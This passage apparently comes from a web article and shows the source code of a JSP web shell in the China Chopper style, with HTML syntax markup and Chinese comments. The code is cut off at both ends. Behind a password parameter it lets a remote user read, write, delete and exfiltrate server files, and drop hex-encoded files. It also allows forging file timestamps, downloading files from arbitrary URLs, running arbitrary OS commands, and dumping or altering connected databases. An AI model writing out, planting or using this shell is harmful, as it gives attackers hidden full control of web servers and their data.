+ <span class="code-snippet__string">&#34;\t&#34;</span> + l[i].length()+ <span class="code-snippet__string">&#34;\t&#34;</span> + sQ + <span class="code-snippet__string">&#34;\n&#34;</span>);</span></code><code><span class="code-snippet_outer">      } <span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">        sF+=l[i].getName() + <span class="code-snippet__string">&#34;\t&#34;</span> + sT + <span class="code-snippet__string">&#34;\t&#34;</span> + l[i].length() + <span class="code-snippet__string">&#34;\t&#34;</span>+ sQ + <span class="code-snippet__string">&#34;\n&#34;</span>;</span></code><code><span class="code-snippet_outer">      }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">    sb.append(sF);</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__comment">//删除文件或文件夹</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__function"><span class="code-snippet__keyword">void</span> <span class="code-snippet__title">EE</span>(<span class="code-snippet__params">String s</span>) throws Exception</span> {</span></code><code><span class="code-snippet_outer">    File f = <span class="code-snippet__keyword">new</span> File(s);</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> (f.isDirectory()) {</span></code><code><span class="code-snippet_outer">      File x[] = f.listFiles();</span></code><code><span class="code-snippet_outer">      <span class="code-snippet__keyword">for</span> (<span class="code-snippet__keyword">int</span> k = <span class="code-snippet__number">0</span>; k &lt; x.length; k++) {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> (!x[k].delete()) {</span></code><code><span class="code-snippet_outer">          EE(x[k].getPath());</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">      }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">    f.delete();</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__comment">//下载文件</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__function"><span class="code-snippet__keyword">void</span> <span class="code-snippet__title">FF</span>(<span class="code-snippet__params">String s, HttpServletResponse r</span>) throws Exception</span> {</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">int</span> n;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">byte</span>[] b = <span class="code-snippet__keyword">new</span> <span class="code-snippet__keyword">byte</span>[<span class="code-snippet__number">512</span>];</span></code><code><span class="code-snippet_outer">    r.reset();</span></code><code><span class="code-snippet_outer">    ServletOutputStream os = r.getOutputStream();</span></code><code><span class="code-snippet_outer">    BufferedInputStream <span class="code-snippet__keyword">is</span> = <span class="code-snippet__keyword">new</span> BufferedInputStream(<span class="code-snippet__keyword">new</span> FileInputStream(s));</span></code><code><span class="code-snippet_outer">    os.write((<span class="code-snippet__string">&#34;-&gt;&#34;</span> + <span class="code-snippet__string">&#34;|&#34;</span>).getBytes(), <span class="code-snippet__number">0</span>, <span class="code-snippet__number">3</span>);</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">while</span> ((n = <span class="code-snippet__keyword">is</span>.read(b, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">512</span>)) != <span class="code-snippet__number">-1</span>) {</span></code><code><span class="code-snippet_outer">      os.write(b, <span class="code-snippet__number">0</span>, n);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">    os.write((<span class="code-snippet__string">&#34;|&#34;</span> + <span class="code-snippet__string">&#34;&lt;-&#34;</span>).getBytes(), <span class="code-snippet__number">0</span>, <span class="code-snippet__number">3</span>);</span></code><code><span class="code-snippet_outer">    os.close();</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">is</span>.close();</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__comment">//将16进制字符串写为文件</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__function"><span class="code-snippet__keyword">void</span> <span class="code-snippet__title">GG</span>(<span class="code-snippet__params">String s, String d</span>) throws Exception</span> {</span></code><code><span class="code-snippet_outer">    String h = <span class="code-snippet__string">&#34;0123456789ABCDEF&#34;</span>;</span></code><code><span class="code-snippet_outer">    File f = <span class="code-snippet__keyword">new</span> File(s);</span></code><code><span class="code-snippet_outer">    f.createNewFile();</span></code><code><span class="code-snippet_outer">    FileOutputStream os = <span class="code-snippet__keyword">new</span> FileOutputStream(f);</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">for</span> (<span class="code-snippet__keyword">int</span> i = <span class="code-snippet__number">0</span>; i &lt; d.length(); i += <span class="code-snippet__number">2</span>) {</span></code><code><span class="code-snippet_outer">      os.write((h.indexOf(d.charAt(i)) &lt;&lt; <span class="code-snippet__number">4</span> | h.indexOf(d.charAt(i + <span class="code-snippet__number">1</span>))));</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">    os.close();</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__comment">//二进制文件复制</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__function"><span class="code-snippet__keyword">void</span> <span class="code-snippet__title">HH</span>(<span class="code-snippet__params">String s, String d</span>) throws Exception</span> {</span></code><code><span class="code-snippet_outer">    File sf = <span class="code-snippet__keyword">new</span> File(s), df = <span class="code-snippet__keyword">new</span> File(d);</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> (sf.isDirectory()) {</span></code><code><span class="code-snippet_outer">      <span class="code-snippet__keyword">if</span> (!df.exists()) {</span></code><code><span class="code-snippet_outer">        df.mkdir();</span></code><code><span class="code-snippet_outer">      }</span></code><code><span class="code-snippet_outer">      File z[] = sf.listFiles();</span></code><code><span class="code-snippet_outer">      <span class="code-snippet__keyword">for</span> (<span class="code-snippet__keyword">int</span> j = <span class="code-snippet__number">0</span>; j &lt; z.length; j++) {</span></code><code><span class="code-snippet_outer">        HH(s + <span class="code-snippet__string">&#34;/&#34;</span> + z[j].getName(), d + <span class="code-snippet__string">&#34;/&#34;</span> + z[j].getName());</span></code><code><span class="code-snippet_outer">      }</span></code><code><span class="code-snippet_outer">    } <span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">      FileInputStream <span class="code-snippet__keyword">is</span> = <span class="code-snippet__keyword">new</span> FileInputStream(sf);</span></code><code><span class="code-snippet_outer">      FileOutputStream os = <span class="code-snippet__keyword">new</span> FileOutputStream(df);</span></code><code><span class="code-snippet_outer">      <span class="code-snippet__keyword">int</span> n;</span></code><code><span class="code-snippet_outer">      <span class="code-snippet__keyword">byte</span>[] b = <span class="code-snippet__keyword">new</span> <span class="code-snippet__keyword">byte</span>[<span class="code-snippet__number">512</span>];</span></code><code><span class="code-snippet_outer">      <span class="code-snippet__keyword">while</span> ((n = <span class="code-snippet__keyword">is</span>.read(b, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">512</span>)) != <span class="code-snippet__number">-1</span>) {</span></code><code><span class="code-snippet_outer">        os.write(b, <span class="code-snippet__number">0</span>, n);</span></code><code><span class="code-snippet_outer">      }</span></code><code><span class="code-snippet_outer">      <span class="code-snippet__keyword">is</span>.close();</span></code><code><span class="code-snippet_outer">      os.close();</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__comment">//文件重命名</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__function"><span class="code-snippet__keyword">void</span> <span class="code-snippet__title">II</span>(<span class="code-snippet__params">String s, String d</span>) throws Exception</span> {</span></code><code><span class="code-snippet_outer">    File sf = <span class="code-snippet__keyword">new</span> File(s), df = <span class="code-snippet__keyword">new</span> File(d);</span></code><code><span class="code-snippet_outer">    sf.renameTo(df);</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__comment">//创建文件夹</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__function"><span class="code-snippet__keyword">void</span> <span class="code-snippet__title">JJ</span>(<span class="code-snippet__params">String s</span>) throws Exception</span> {</span></code><code><span class="code-snippet_outer">    File f = <span class="code-snippet__keyword">new</span> File(s);</span></code><code><span class="code-snippet_outer">    f.mkdir();</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__comment">//修改时间戳</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__function"><span class="code-snippet__keyword">void</span> <span class="code-snippet__title">KK</span>(<span class="code-snippet__params">String s, String t</span>) throws Exception</span> {</span></code><code><span class="code-snippet_outer">    File f = <span class="code-snippet__keyword">new</span> File(s);</span></code><code><span class="code-snippet_outer">    SimpleDateFormat fm = <span class="code-snippet__keyword">new</span> SimpleDateFormat(<span class="code-snippet__string">&#34;yyyy-MM-dd HH:mm:ss&#34;</span>);</span></code><code><span class="code-snippet_outer">    java.util.Date dt = fm.parse(t);</span></code><code><span class="code-snippet_outer">    f.setLastModified(dt.getTime());</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__comment">//从指定链接下载文件</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__function"><span class="code-snippet__keyword">void</span> <span class="code-snippet__title">LL</span>(<span class="code-snippet__params">String s, String d</span>) throws Exception</span> {</span></code><code><span class="code-snippet_outer">    URL u = <span class="code-snippet__keyword">new</span> URL(s);</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">int</span> n = <span class="code-snippet__number">0</span>;</span></code><code><span class="code-snippet_outer">    FileOutputStream os = <span class="code-snippet__keyword">new</span> FileOutputStream(d);</span></code><code><span class="code-snippet_outer">    HttpURLConnection h = (HttpURLConnection) u.openConnection();</span></code><code><span class="code-snippet_outer">    InputStream <span class="code-snippet__keyword">is</span> = h.getInputStream();</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">byte</span>[] b = <span class="code-snippet__keyword">new</span> <span class="code-snippet__keyword">byte</span>[<span class="code-snippet__number">512</span>];</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">while</span> ((n = <span class="code-snippet__keyword">is</span>.read(b)) != <span class="code-snippet__number">-1</span>) {</span></code><code><span class="code-snippet_outer">      os.write(b, <span class="code-snippet__number">0</span>, n);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">    os.close();</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">is</span>.close();</span></code><code><span class="code-snippet_outer">    h.disconnect();</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__comment">//读取命令执行结果</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__function"><span class="code-snippet__keyword">void</span> <span class="code-snippet__title">MM</span>(<span class="code-snippet__params">InputStream <span class="code-snippet__keyword">is</span>, StringBuffer sb</span>) throws Exception</span> {</span></code><code><span class="code-snippet_outer">    String l;</span></code><code><span class="code-snippet_outer">    BufferedReader br = <span class="code-snippet__keyword">new</span> BufferedReader(<span class="code-snippet__keyword">new</span> InputStreamReader(<span class="code-snippet__keyword">is</span>));</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">while</span> ((l = br.readLine()) != <span class="code-snippet__literal">null</span>) {</span></code><code><span class="code-snippet_outer">      sb.append(l + <span class="code-snippet__string">&#34;\r\n&#34;</span>);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__comment">//连接数据库</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__function"><span class="code-snippet__keyword">void</span> <span class="code-snippet__title">NN</span>(<span class="code-snippet__params">String s, StringBuffer sb</span>) throws Exception</span> {</span></code><code><span class="code-snippet_outer">    Connection c = GC(s);</span></code><code><span class="code-snippet_outer">    ResultSet r = s.indexOf(<span class="code-snippet__string">&#34;jdbc:oracle&#34;</span>)!=<span class="code-snippet__number">-1</span>?c.getMetaData().getSchemas():c.getMetaData().getCatalogs();</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">while</span> (r.next()) {</span></code><code><span class="code-snippet_outer">      sb.append(r.getString(<span class="code-snippet__number">1</span>) + <span class="code-snippet__string">&#34;\t&#34;</span>);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">    r.close();</span></code><code><span class="code-snippet_outer">    c.close();</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__comment">//创建数据库表</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__function"><span class="code-snippet__keyword">void</span> <span class="code-snippet__title">OO</span>(<span class="code-snippet__params">String s, StringBuffer sb</span>) throws Exception</span> {</span></code><code><span class="code-snippet_outer">    Connection c = GC(s);</span></code><code><span class="code-snippet_outer">    String[] x = s.trim().split(<span class="code-snippet__string">&#34;\r\n&#34;</span>);</span></code><code><span class="code-snippet_outer">    ResultSet r = c.getMetaData().getTables(<span class="code-snippet__literal">null</span>,s.indexOf(<span class="code-snippet__string">&#34;jdbc:oracle&#34;</span>)!=<span class="code-snippet__number">-1</span>?x.length&gt;<span class="code-snippet__number">5</span>?x[<span class="code-snippet__number">5</span>]:x[<span class="code-snippet__number">4</span>]:<span class="code-snippet__literal">null</span>, <span class="code-snippet__string">&#34;%&#34;</span>, <span class="code-snippet__keyword">new</span> String[]{<span class="code-snippet__string">&#34;TABLE&#34;</span>});</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">while</span> (r.next()) {</span></code><code><span class="code-snippet_outer">      sb.append(r.getString(<span class="code-snippet__string">&#34;TABLE_NAME&#34;</span>) + <span class="code-snippet__string">&#34;\t&#34;</span>);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">    r.close();</span></code><code><span class="code-snippet_outer">    c.close();</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__comment">//读取数据库列</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__function"><span class="code-snippet__keyword">void</span> <span class="code-snippet__title">PP</span>(<span class="code-snippet__params">String s, StringBuffer sb</span>) throws Exception</span> {</span></code><code><span class="code-snippet_outer">    String[] x = s.trim().split(<span class="code-snippet__string">&#34;\r\n&#34;</span>);</span></code><code><span class="code-snippet_outer">    Connection c = GC(s);</span></code><code><span class="code-snippet_outer">    Statement m = c.createStatement(<span class="code-snippet__number">1005</span>, <span class="code-snippet__number">1007</span>);</span></code><code><span class="code-snippet_outer">    ResultSet r = m.executeQuery(<span class="code-snippet__string">&#34;select * from &#34;</span> + x[x.length<span class="code-snippet__number">-1</span>]);</span></code><code><span class="code-snippet_outer">    ResultSetMetaData d = r.getMetaData();</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">for</span> (<span class="code-snippet__keyword">int</span> i = <span class="code-snippet__number">1</span>; i &lt;= d.getColumnCount(); i++) {</span></code><code><span class="code-snippet_outer">      sb.append(d.getColumnName(i) + <span class="code-snippet__string">&#34; (&#34;</span> + d.getColumnTypeName(i)+ <span class="code-snippet__string">&#34;)\t&#34;</span>);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">    r.close();</span></code><code><span class="code-snippet_outer">    m.close();</span></code><code><span class="code-snippet_outer">    c.close();</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__comment">//读取数据库数据</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__function"><span class="code-snippet__keyword">void</span> <span class="code-snippet__title">QQ</span>(<span class="code-snippet__params">String cs, String s, String q, StringBuffer sb,String p</span>) throws Exception</span> {</span></code><code><span class="code-snippet_outer">    Connection c = GC(s);</span></code><code><span class="code-snippet_outer">    Statement m = c.createStatement(<span class="code-snippet__number">1005</span>, <span class="code-snippet__number">1008</span>);</span></code><code><span class="code-snippet_outer">    BufferedWriter bw = <span class="code-snippet__literal">null</span>;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">      ResultSet r = m.executeQuery(q.indexOf(<span class="code-snippet__string">&#34;--f:&#34;</span>)!=<span class="code-snippet__number">-1</span>?q.substring(<span class="code-snippet__number">0</span>,q.indexOf(<span class="code-snippet__string">&#34;--f:&#34;</span>)):q);</span></code><code><span class="code-snippet_outer">      ResultSetMetaData d = r.getMetaData();</span></code><code><span class="code-snippet_outer">      <span class="code-snippet__keyword">int</span> n = d.getColumnCount();</span></code><code><span class="code-snippet_outer">      <span class="code-snippet__keyword">for</span> (<span class="code-snippet__keyword">int</span> i = <span class="code-snippet__number">1</span>; i &lt;= n; i++) {</span></code><code><span class="code-snippet_outer">        sb.append(d.getColumnName(i) + <span class="code-snippet__string">&#34;\t|\t&#34;</span>);</span></code><code><span class="code-snippet_outer">      }</span></code><code><span class="code-snippet_outer">      sb.append(<span class="code-snippet__string">&#34;\r\n&#34;</span>);</span></code><code><span class="code-snippet_outer">      <span class="code-snippet__keyword">if</span>(q.indexOf(<span class="code-snippet__string">&#34;--f:&#34;</span>)!=<span class="code-snippet__number">-1</span>){</span></code><code><span class="code-snippet_outer">        File file = <span class="code-snippet__keyword">new</span> File(p);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span>(q.indexOf(<span class="code-snippet__string">&#34;-to:&#34;</span>)==<span class="code-snippet__number">-1</span>){</span></code><code><span class="code-snippet_outer">          file.mkdir();</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">        bw = <span class="code-snippet__keyword">new</span> BufferedWriter(<span class="code-snippet__keyword">new</span> OutputStreamWriter(<span class="code-snippet__keyword">new</span> FileOutputStream(<span class="code-snippet__keyword">new</span> File(q.indexOf(<span class="code-snippet__string">&#34;-to:&#34;</span>)!=<span class="code-snippet__number">-1</span>?p.trim():p+q.substring(q.indexOf(<span class="code-snippet__string">&#34;--f:&#34;</span>) + <span class="code-snippet__number">4</span>,q.length()).trim()),<span class="code-snippet__literal">true</span>),cs));</span></code><code><span class="code-snippet_outer">      }</span></code><code><span class="code-snippet_outer">      <span class="code-snippet__keyword">while</span> (r.next()) {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">for</span> (<span class="code-snippet__keyword">int</span> i = <span class="code-snippet__number">1</span>; i &lt;= n; i++) {</span></code><code><span class="code-snippet_outer">          <span class="code-snippet__keyword">if</span>(q.indexOf(<span class="code-snippet__string">&#34;--f:&#34;</span>)!=<span class="code-snippet__number">-1</span>){</span></code><code><span class="code-snippet_outer">            bw.write(r.getObject(i)+<span class="code-snippet__string">&#34;&#34;</span>+<span class="code-snippet__string">&#34;\t&#34;</span>);</span></code><code><span class="code-snippet_outer">            bw.flush();</span></code><code><span class="code-snippet_outer">          }<span class="code-snippet__keyword">else</span>{</span></code><code><span class="code-snippet_outer">            sb.append(r.getObject(i)+<span class="code-snippet__string">&#34;&#34;</span> + <span class="code-snippet__string">&#34;\t|\t&#34;</span>);</span></code><code><span class="code-snippet_outer">          }</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span>(bw!=<span class="code-snippet__literal">null</span>){bw.newLine();}</span></code><code><span class="code-snippet_outer">        sb.append(<span class="code-snippet__string">&#34;\r\n&#34;</span>);</span></code><code><span class="code-snippet_outer">      }</span></code><code><span class="code-snippet_outer">      r.close();</span></code><code><span class="code-snippet_outer">      <span class="code-snippet__keyword">if</span>(bw!=<span class="code-snippet__literal">null</span>){bw.close();}</span></code><code><span class="code-snippet_outer">    } <span class="code-snippet__keyword">catch</span> (Exception e) {</span></code><code><span class="code-snippet_outer">      sb.append(<span class="code-snippet__string">&#34;Result\t|\t\r\n&#34;</span>);</span></code><code><span class="code-snippet_outer">      <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">        m.executeUpdate(q);</span></code><code><span class="code-snippet_outer">        sb.append(<span class="code-snippet__string">&#34;Execute Successfully!\t|\t\r\n&#34;</span>);</span></code><code><span class="code-snippet_outer">      } <span class="code-snippet__keyword">catch</span> (Exception ee) {</span></code><code><span class="code-snippet_outer">        sb.append(ee.toString() + <span class="code-snippet__string">&#34;\t|\t\r\n&#34;</span>);</span></code><code><span class="code-snippet_outer">      }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">    m.close();</span></code><code><span class="code-snippet_outer">    c.close();</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">%&gt;</span></code><code><span class="code-snippet_outer">&lt;%</span></code><code><span class="code-snippet_outer">  cs = request.getParameter(<span class="code-snippet__string">&#34;z0&#34;</span>) != <span class="code-snippet__literal">null</span> ? request.getParameter(<span class="code-snippet__string">&#34;z0&#34;</span>)+ <span class="code-snippet__string">&#34;&#34;</span>:cs;</span></code><code><span class="code-snippet_outer">  response.setContentType(<span class="code-snippet__string">&#34;text/html&#34;</span>);</span></code><code><span class="code-snippet_outer">  response.setCharacterEncoding(cs);</span></code><code><span class="code-snippet_outer">  StringBuffer sb = <span class="code-snippet__keyword">new</span> StringBuffer(<span class="code-snippet__string">&#34;&#34;</span>);</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">    String Z = EC(request.getParameter(Pwd) + <span class="code-snippet__string">&#34;&#34;</span>);</span></code><code><span class="code-snippet_outer">    String z1 = EC(request.getParameter(<span class="code-snippet__string">&#34;z1&#34;</span>) + <span class="code-snippet__string">&#34;&#34;</span>);</span></code><code><span class="code-snippet_outer">    String z2 = EC(request.getParameter(<span class="code-snippet__string">&#34;z2&#34;</span>) + <span class="code-snippet__string">&#34;&#34;</span>);</span></code><code><span class="code-snippet_outer">    sb.append(<span class="code-snippet__string">&#34;-&gt;&#34;</span> + <span class="code-snippet__string">&#34;|&#34;</span>);</span></code><code><span class="code-snippet_outer">    String s = request.getSession().getServletContext().getRealPath(<span class="code-snippet__string">&#34;/&#34;</span>);</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> (Z.<span class="code-snippet__keyword">equals</span>(<span class="code-snippet__string">&#34;A&#34;</span>)) {</span></code><code><span class="code-snippet_outer">      sb.append(s + <span class="code-snippet__string">&#34;\t&#34;</span>);</span></code><code><span class="code-snippet_outer">      <span class="code-snippet__keyword">if</span> (!s.substring(<span class="code-snippet__number">0</span>, <span class="code-snippet__number">1</span>).<span class="code-snippet__keyword">equals</span>(<span class="code-snippet__string">&#34;/&#34;</span>)) {</span></code><code><span class="code-snippet_outer">        AA(sb);</span></code><code><span class="code-snippet_outer">      }</span></code><code><span class="code-snippet_outer">    } <span class="code-snippet__keyword">else</span> <span class="code-snippet__keyword">if</span> (Z.<span class="code-snippet__keyword">equals</span>(<span class="code-snippet__string">&#34;B&#34;</span>)) {</span></code><code><span class="code-snippet_outer">      BB(z1, sb);</span></code><code><span class="code-snippet_outer">    } <span class="code-snippet__keyword">else</span> <span class="code-snippet__keyword">if</span> (Z.<span class="code-snippet__keyword">equals</span>(<span class="code-snippet__string">&#34;C&#34;</span>)) {<span class="code-snippet__comment">//读取文本文件</span></span></code><code><span class="code-snippet_outer">      String l = <span class="code-snippet__string">&#34;&#34;</span>;</span></code><code><span class="code-snippet_outer">      BufferedReader br = <span class="code-snippet__keyword">new</span> BufferedReader(<span class="code-snippet__keyword">new</span> InputStreamReader(<span class="code-snippet__keyword">new</span> FileInputStream(<span class="code-snippet__keyword">new</span> File(z1))));</span></code><code><span class="code-snippet_outer">      <span class="code-snippet__keyword">while</span> ((l = br.readLine()) != <span class="code-snippet__literal">null</span>) {</span></code><code><span class="code-snippet_outer">        sb.append(l + <span class="code-snippet__string">&#34;\r\n&#34;</span>);</span></code><code><span class="code-snippet_outer">      }</span></code><code><span class="code-snippet_outer">      br.close();</span></code><code><span class="code-snippet_outer">    } <span class="code-snippet__keyword">else</span> <span class="code-snippet__keyword">if</span> (Z.<span class="code-snippet__keyword">equals</span>(<span class="code-snippet__string">&#34;D&#34;</span>)) {<span class="code-snippet__comment">//写入文本文件</span></span></code><code><span class="code-snippet_outer">      BufferedWriter bw = <span class="code-snippet__keyword">new</span> BufferedWriter(<span class="code-snippet__keyword">new</span> OutputStreamWriter(<span class="code-snippet__keyword">new</span> FileOutputStream(<span class="code-snippet__keyword">new</span> File(z1))));</span></code><code><span class="code-snippet_outer">      bw.write(z2);</span></code><code><span class="code-snippet_outer">      bw.close();</span></code><code><span class="code-snippet_outer">      sb.append(<span class="code-snippet__string">&#34;1&#34;</span>);</span></code><code><span class="code-snippet_outer">    } <span class="code-snippet__keyword">else</span> <span class="code-snippet__keyword">if</span> (Z.<span class="code-snippet__keyword">equals</span>(<span class="code-snippet__string">&#34;E&#34;</span>)) {</span></code><code><span class="code-snippet_outer">      EE(z1);</span></code><code><span class="code-snippet_outer">      sb.append(<span class="code-snippet__string">&#34;1&#34;</span>);</span></code><code><span class="code-snippet_outer">    } <span class="code-snippet__keyword">else</span> <span class="code-snippet__keyword">if</span> (Z.<span class="code-snippet__keyword">equals</span>(<span class="code-snippet__string">&#34;F&#34;</span>)) {</span></code><code><span class="code-snippet_outer">      FF(z1, response);</span></code><code><span class="code-snippet_outer">    } <span class="code-snippet__keyword">else</span> <span class="code-snippet__keyword">if</span> (Z.<span class="code-snippet__keyword">equals</span>(<span class="code-snippet__string">&#34;G&#34;</span>)) {</span></code><code><span class="code-snippet_outer">      GG(z1, z2);</span></code><code><span class="code-snippet_outer">      sb.append(<span class="code-snippet__string">&#34;1&#34;</span>);</span></code><code><span class="code-snippet_outer">    } <span class="code-snippet__keyword">else</span> <span class="code-snippet__keyword">if</span> (Z.<span class="code-snippet__keyword">equals</span>(<span class="code-snippet__string">&#34;H&#34;</span>)) {</span></code><code><span class="code-snippet_outer">      HH(z1, z2);</span></code><code><span class="code-snippet_outer">      sb.append(<span class="code-snippet__string">&#34;1&#34;</span>);</span></code><code><span class="code-snippet_outer">    } <span class="code-snippet__keyword">else</span> <span class="code-snippet__keyword">if</span> (Z.<span class="code-snippet__keyword">equals</span>(<span class="code-snippet__string">&#34;I&#34;</span>)) {</span></code><code><span class="code-snippet_outer">      II(z1, z2);</span></code><code><span class="code-snippet_outer">      sb.append(<span class="code-snippet__string">&#34;1&#34;</span>);</span></code><code><span class="code-snippet_outer">    } <span class="code-snippet__keyword">else</span> <span class="code-snippet__keyword">if</span> (Z.<span class="code-snippet__keyword">equals</span>(<span class="code-snippet__string">&#34;J&#34;</span>)) {</span></code><code><span class="code-snippet_outer">      JJ(z1);</span></code><code><span class="code-snippet_outer">      sb.append(<span class="code-snippet__string">&#34;1&#34;</span>);</span></code><code><span class="code-snippet_outer">    } <span class="code-snippet__keyword">else</span> <span class="code-snippet__keyword">if</span> (Z.<span class="code-snippet__keyword">equals</span>(<span class="code-snippet__string">&#34;K&#34;</span>)) {</span></code><code><span class="code-snippet_outer">      KK(z1, z2);</span></code><code><span class="code-snippet_outer">      sb.append(<span class="code-snippet__string">&#34;1&#34;</span>);</span></code><code><span class="code-snippet_outer">    } <span class="code-snippet__keyword">else</span> <span class="code-snippet__keyword">if</span> (Z.<span class="code-snippet__keyword">equals</span>(<span class="code-snippet__string">&#34;L&#34;</span>)) {</span></code><code><span class="code-snippet_outer">      LL(z1, z2);</span></code><code><span class="code-snippet_outer">      sb.append(<span class="code-snippet__string">&#34;1&#34;</span>);</span></code><code><span class="code-snippet_outer">    } <span class="code-snippet__keyword">else</span> <span class="code-snippet__keyword">if</span> (Z.<span class="code-snippet__keyword">equals</span>(<span class="code-snippet__string">&#34;M&#34;</span>)) {</span></code><code><span class="code-snippet_outer">      String[] c = { z1.substring(<span class="code-snippet__number">2</span>), z1.substring(<span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>), z2 };</span></code><code><span class="code-snippet_outer">      Process p = Runtime.getRuntime().exec(c);</span></code><code><span class="code-snippet_outer">      MM(p.getInputStream(), sb);</span></code><code><span class="code-snippet_outer">      MM(p.getErrorStream(), sb);</span></code><code><span class="code-snippet_outer">    } <span class="code-snippet__keyword">else</span> <span class="code-snippet__keyword">if</span> (Z.<span class="code-snippet__keyword">equals</span>(<span class="code-snippet__string">&#34;N&#34;</span>)) {</span></code><code><span class="code-snippet_outer">      NN(z1, sb);</span></code><code><span class="code-snippet_outer">    } <span class="code-snippet__keyword">else</span> <span class="code-snippet__keyword">if</span> (Z.<span class="code-snippet__keyword">equals</span>(<span class="code-snippet__string">&#34;O&#34;</span>)) {</span></code><code><span class="code-snippet_outer">      OO(z1, sb);</span></code><code><span class="code-snippet_outer">    } <span class="code-snippet__keyword">else</span> <span class="code-snippet__keyword">if</span> (Z.<span class="code-snippet__keyword">equals</span>(<span class="code-snippet__string">&#34;P&#34;</span>)) {</span></code><code><span class="code-snippet_outer">      PP(z1, sb);</span></code><code><span class="code-snippet_outer">    } <span class="code-snippet__keyword">else</span> <span class="code-snippet__keyword">if</span> (Z.<span class="code-snippet__keyword">equals</span>(<span class="code-snippet__string">&#34;Q&#34;</span>)) {</span></code><code><span class="code-snippet_outer">      QQ(cs, z1, z2, sb,z2.indexOf(<span class="code-snippet__string">&#34;-to:&#34;</span>)!=<span class="code-snippet__number">-1</span>?z2.substring(z2.indexOf(<span class="code-snippet__string">&#34;-to:&#34;</span>)+<span class="code-snippet__number">4</span>,z2.length()):s.replaceAll(<span class="code-snippet__string">&#34;\\\\&#34;</span>, <span class="code-snippet__string">&#34;/&#34;</span>)+<span class="code-snippet__string">&#34;images/&#34;</span>);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">  } <span class="code-snippet__keyword">catch</span> (Exception e) {</span></code><code><span class="code-snippet_outer">    sb.append(<span 